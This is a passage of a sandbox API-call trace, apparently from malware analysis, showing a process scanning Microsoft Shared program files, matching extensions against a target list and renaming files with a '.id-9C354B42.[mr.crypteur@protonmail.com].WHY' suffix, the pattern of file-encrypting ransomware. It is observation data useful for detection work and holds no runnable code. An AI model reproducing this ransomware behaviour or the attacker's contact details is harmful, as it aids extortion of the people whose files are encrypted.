lpString2=".DLL") returned 1 [0217.413] lstrlenW (lpString=".rar") returned 4 [0217.413] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.413] lstrlenW (lpString=".bz2") returned 4 [0217.413] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.414] lstrlenW (lpString=".7z") returned 3 [0217.414] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.414] lstrlenW (lpString=".dbf") returned 4 [0217.414] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.414] lstrlenW (lpString=".1cd") returned 4 [0217.414] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.415] lstrlenW (lpString=".jpg") returned 4 [0217.415] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.416] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0217.416] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0217.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0217.419] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=26624) returned 1 [0217.419] CloseHandle (hObject=0x30c) returned 1 [0217.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0217.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.422] lstrlenW (lpString=".doc") returned 4 [0217.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0217.422] lstrlenW (lpString=".docx") returned 5 [0217.422] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0217.422] lstrlenW (lpString=".pdf") returned 4 [0217.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0217.422] lstrlenW (lpString=".xls") returned 4 [0217.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0217.422] lstrlenW (lpString=".xlsx") returned 5 [0217.423] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0217.423] lstrlenW (lpString=".ppt") returned 4 [0217.423] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.423] lstrlenW (lpString=".zip") returned 4 [0217.423] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.424] lstrlenW (lpString=".rar") returned 4 [0217.424] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.424] lstrlenW (lpString=".bz2") returned 4 [0217.424] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.424] lstrlenW (lpString=".7z") returned 3 [0217.424] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.424] lstrlenW (lpString=".dbf") returned 4 [0217.424] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.425] lstrlenW (lpString=".1cd") returned 4 [0217.425] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.425] lstrlenW (lpString=".jpg") returned 4 [0217.425] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.426] lstrlenW (lpString=".doc") returned 4 [0217.426] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0217.426] lstrlenW (lpString=".docx") returned 5 [0217.426] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0217.426] lstrlenW (lpString=".pdf") returned 4 [0217.427] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0217.427] lstrlenW (lpString=".xls") returned 4 [0217.427] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0217.427] lstrlenW (lpString=".xlsx") returned 5 [0217.427] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0217.427] lstrlenW (lpString=".ppt") returned 4 [0217.427] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.427] lstrlenW (lpString=".zip") returned 4 [0217.427] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.427] lstrlenW (lpString=".rar") returned 4 [0217.427] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.427] lstrlenW (lpString=".bz2") returned 4 [0217.427] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.427] lstrlenW (lpString=".7z") returned 3 [0217.428] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.428] lstrlenW (lpString=".dbf") returned 4 [0217.428] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.428] lstrlenW (lpString=".1cd") returned 4 [0217.428] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0217.428] lstrlenW (lpString=".jpg") returned 4 [0217.428] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.429] lstrcmpiW (lpString1=".exe", lpString2=".WHY") returned -1 [0217.429] lstrlenW (lpString="msinfo32.exe") returned 12 [0217.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0217.430] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=378880) returned 1 [0217.430] CloseHandle (hObject=0x30c) returned 1 [0217.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0217.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.431] lstrlenW (lpString=".doc") returned 4 [0217.431] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0217.431] lstrlenW (lpString=".docx") returned 5 [0217.431] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0217.431] lstrlenW (lpString=".pdf") returned 4 [0217.431] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0217.432] lstrlenW (lpString=".xls") returned 4 [0217.432] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0217.432] lstrlenW (lpString=".xlsx") returned 5 [0217.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0217.432] lstrlenW (lpString=".ppt") returned 4 [0217.432] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0217.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.432] lstrlenW (lpString=".zip") returned 4 [0217.432] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0217.432] lstrlenW (lpString=".rar") returned 4 [0217.432] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0217.432] lstrlenW (lpString=".bz2") returned 4 [0217.432] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0217.432] lstrlenW (lpString=".7z") returned 3 [0217.433] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0217.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.433] lstrlenW (lpString=".dbf") returned 4 [0217.433] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0217.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.433] lstrlenW (lpString=".1cd") returned 4 [0217.433] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0217.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.433] lstrlenW (lpString=".jpg") returned 4 [0217.433] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.434] lstrlenW (lpString=".doc") returned 4 [0217.434] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0217.434] lstrlenW (lpString=".docx") returned 5 [0217.434] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0217.434] lstrlenW (lpString=".pdf") returned 4 [0217.725] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0217.725] lstrlenW (lpString=".xls") returned 4 [0217.725] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0217.725] lstrlenW (lpString=".xlsx") returned 5 [0217.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0217.725] lstrlenW (lpString=".ppt") returned 4 [0217.725] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0217.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.725] lstrlenW (lpString=".zip") returned 4 [0217.726] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0217.726] lstrlenW (lpString=".rar") returned 4 [0217.726] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0217.726] lstrlenW (lpString=".bz2") returned 4 [0217.726] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0217.726] lstrlenW (lpString=".7z") returned 3 [0217.726] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0217.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.726] lstrlenW (lpString=".dbf") returned 4 [0217.726] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0217.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.726] lstrlenW (lpString=".1cd") returned 4 [0217.727] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0217.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0217.727] lstrlenW (lpString=".jpg") returned 4 [0217.727] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.727] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0217.727] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0217.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.065] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=41864) returned 1 [0219.066] CloseHandle (hObject=0x308) returned 1 [0219.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0219.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.067] lstrlenW (lpString=".doc") returned 4 [0219.067] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.067] lstrlenW (lpString=".docx") returned 5 [0219.067] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0219.067] lstrlenW (lpString=".pdf") returned 4 [0219.067] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.068] lstrlenW (lpString=".xls") returned 4 [0219.068] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.068] lstrlenW (lpString=".xlsx") returned 5 [0219.068] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0219.068] lstrlenW (lpString=".ppt") returned 4 [0219.068] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.068] lstrlenW (lpString=".zip") returned 4 [0219.068] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.068] lstrlenW (lpString=".rar") returned 4 [0219.069] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.069] lstrlenW (lpString=".bz2") returned 4 [0219.069] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.069] lstrlenW (lpString=".7z") returned 3 [0219.069] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.070] lstrlenW (lpString=".dbf") returned 4 [0219.071] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.071] lstrlenW (lpString=".1cd") returned 4 [0219.071] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.071] lstrlenW (lpString=".jpg") returned 4 [0219.071] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.071] lstrlenW (lpString=".doc") returned 4 [0219.071] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.072] lstrlenW (lpString=".docx") returned 5 [0219.072] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0219.072] lstrlenW (lpString=".pdf") returned 4 [0219.072] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.072] lstrlenW (lpString=".xls") returned 4 [0219.072] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.072] lstrlenW (lpString=".xlsx") returned 5 [0219.072] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0219.072] lstrlenW (lpString=".ppt") returned 4 [0219.072] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.073] lstrlenW (lpString=".zip") returned 4 [0219.073] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.073] lstrlenW (lpString=".rar") returned 4 [0219.073] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.073] lstrlenW (lpString=".bz2") returned 4 [0219.073] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.074] lstrlenW (lpString=".7z") returned 3 [0219.074] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.074] lstrlenW (lpString=".dbf") returned 4 [0219.074] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.075] lstrlenW (lpString=".1cd") returned 4 [0219.075] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0219.076] lstrlenW (lpString=".jpg") returned 4 [0219.076] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.081] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0219.081] lstrlenW (lpString="ACECORE.DLL") returned 11 [0219.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.085] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3213192) returned 1 [0219.085] CloseHandle (hObject=0x308) returned 1 [0219.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0219.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.087] lstrlenW (lpString=".doc") returned 4 [0219.087] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.087] lstrlenW (lpString=".docx") returned 5 [0219.087] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0219.087] lstrlenW (lpString=".pdf") returned 4 [0219.087] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.087] lstrlenW (lpString=".xls") returned 4 [0219.087] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.087] lstrlenW (lpString=".xlsx") returned 5 [0219.087] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0219.088] lstrlenW (lpString=".ppt") returned 4 [0219.088] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.088] lstrlenW (lpString=".zip") returned 4 [0219.088] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.088] lstrlenW (lpString=".rar") returned 4 [0219.088] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.088] lstrlenW (lpString=".bz2") returned 4 [0219.088] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.088] lstrlenW (lpString=".7z") returned 3 [0219.088] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.089] lstrlenW (lpString=".dbf") returned 4 [0219.089] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.089] lstrlenW (lpString=".1cd") returned 4 [0219.089] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.089] lstrlenW (lpString=".jpg") returned 4 [0219.089] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.090] lstrlenW (lpString=".doc") returned 4 [0219.090] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.090] lstrlenW (lpString=".docx") returned 5 [0219.090] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0219.091] lstrlenW (lpString=".pdf") returned 4 [0219.092] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.092] lstrlenW (lpString=".xls") returned 4 [0219.092] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.092] lstrlenW (lpString=".xlsx") returned 5 [0219.092] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0219.092] lstrlenW (lpString=".ppt") returned 4 [0219.092] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.092] lstrlenW (lpString=".zip") returned 4 [0219.092] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.092] lstrlenW (lpString=".rar") returned 4 [0219.093] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.093] lstrlenW (lpString=".bz2") returned 4 [0219.093] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.093] lstrlenW (lpString=".7z") returned 3 [0219.093] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.097] lstrlenW (lpString=".dbf") returned 4 [0219.097] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.097] lstrlenW (lpString=".1cd") returned 4 [0219.097] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0219.097] lstrlenW (lpString=".jpg") returned 4 [0219.097] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.098] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0219.098] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0219.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0219.099] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=744888) returned 1 [0219.099] CloseHandle (hObject=0x308) returned 1 [0219.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0219.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" 